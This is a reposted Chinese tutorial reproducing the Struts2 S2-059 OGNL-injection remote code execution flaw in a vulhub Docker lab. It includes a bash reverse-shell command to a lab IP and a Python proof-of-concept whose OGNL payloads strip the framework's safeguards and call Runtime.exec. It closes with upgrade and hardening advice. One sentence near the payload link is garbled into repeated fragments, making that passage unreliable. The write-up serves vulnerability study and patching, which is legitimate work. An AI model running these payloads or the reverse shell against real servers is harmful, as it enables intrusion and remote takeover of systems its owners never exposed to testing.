首頁 > 運維 > 安全 > 主體

Struts2 S2-059 遠端程式碼執行漏洞復現是怎麼樣的

王林
發布: 2023-05-23 22:37:16
轉載
1320 人瀏覽過

0x00簡介

Struts2 是 Apache 軟體組織推出的一個相當強大的 Java Web 開源框架,本質上相當於一個 servlet。 Struts2 基於 MVC 架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的資料交互,用於創建企業級 Java web 應用程序,它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。

0x01漏洞概述

攻擊者可以透過建構惡意的OGNL表達式,並將其設定到可被外部輸入進行修改,並且會執行OGNL表達式的Struts2標籤的屬性值,引發OGNL表達式解析,最終造成遠端程式碼執行的影響。

0x02影響範圍

Struts 2.0.0 – Struts 2.5.20

0x03環境建置

#1.本次漏洞環境使用vulhub快速搭建,vulhub下載位址如下:

https://github.com/vulhub/vulhub

cd vulhub-master/struts2/s2-059

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2.使用docker-compose快速建立目標場環境

docker-compose up -d

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

3.啟動完成後在瀏覽器存取http://ip:8080/?id=1 就可以看到測試介面

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x04漏洞

1.在瀏覽器存取http://ip:8080/?id=%{88*88},可以發現執行的88*88成功被解析了,會執行OGNL表達式的Struts2標籤的屬性值,引發OGNL表達式解析。

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

2.使用poc來反彈shell,反彈shell的payload需要使用base64編碼

bash -i >& /dev/tcp/172.16. 1.132/9967 0>&1

base64編碼網址:

The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, sentence that is providing a link. If I were to rewrite it, it could be something like be something like it, something like it, something like be something like be something like like like Here is a link to a webpage containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

import requests

url = "http://127.0.0.1:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"

}

res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)
登入後複製

Struts2 S2-059 远程代码执行漏洞复现是怎么样的3.修改poc中的payload為自己的payload,然後使用python運行,可以看到反彈了shell

Struts2 S2-059 远程代码执行漏洞复现是怎么样的

0x05修復建議

1.升級到Struts 2.5.22或更高版本

2. 開啟ONGL表達式註入保護措施。 ######https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable###

以上是Struts2 S2-059 遠端程式碼執行漏洞復現是怎麼樣的的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!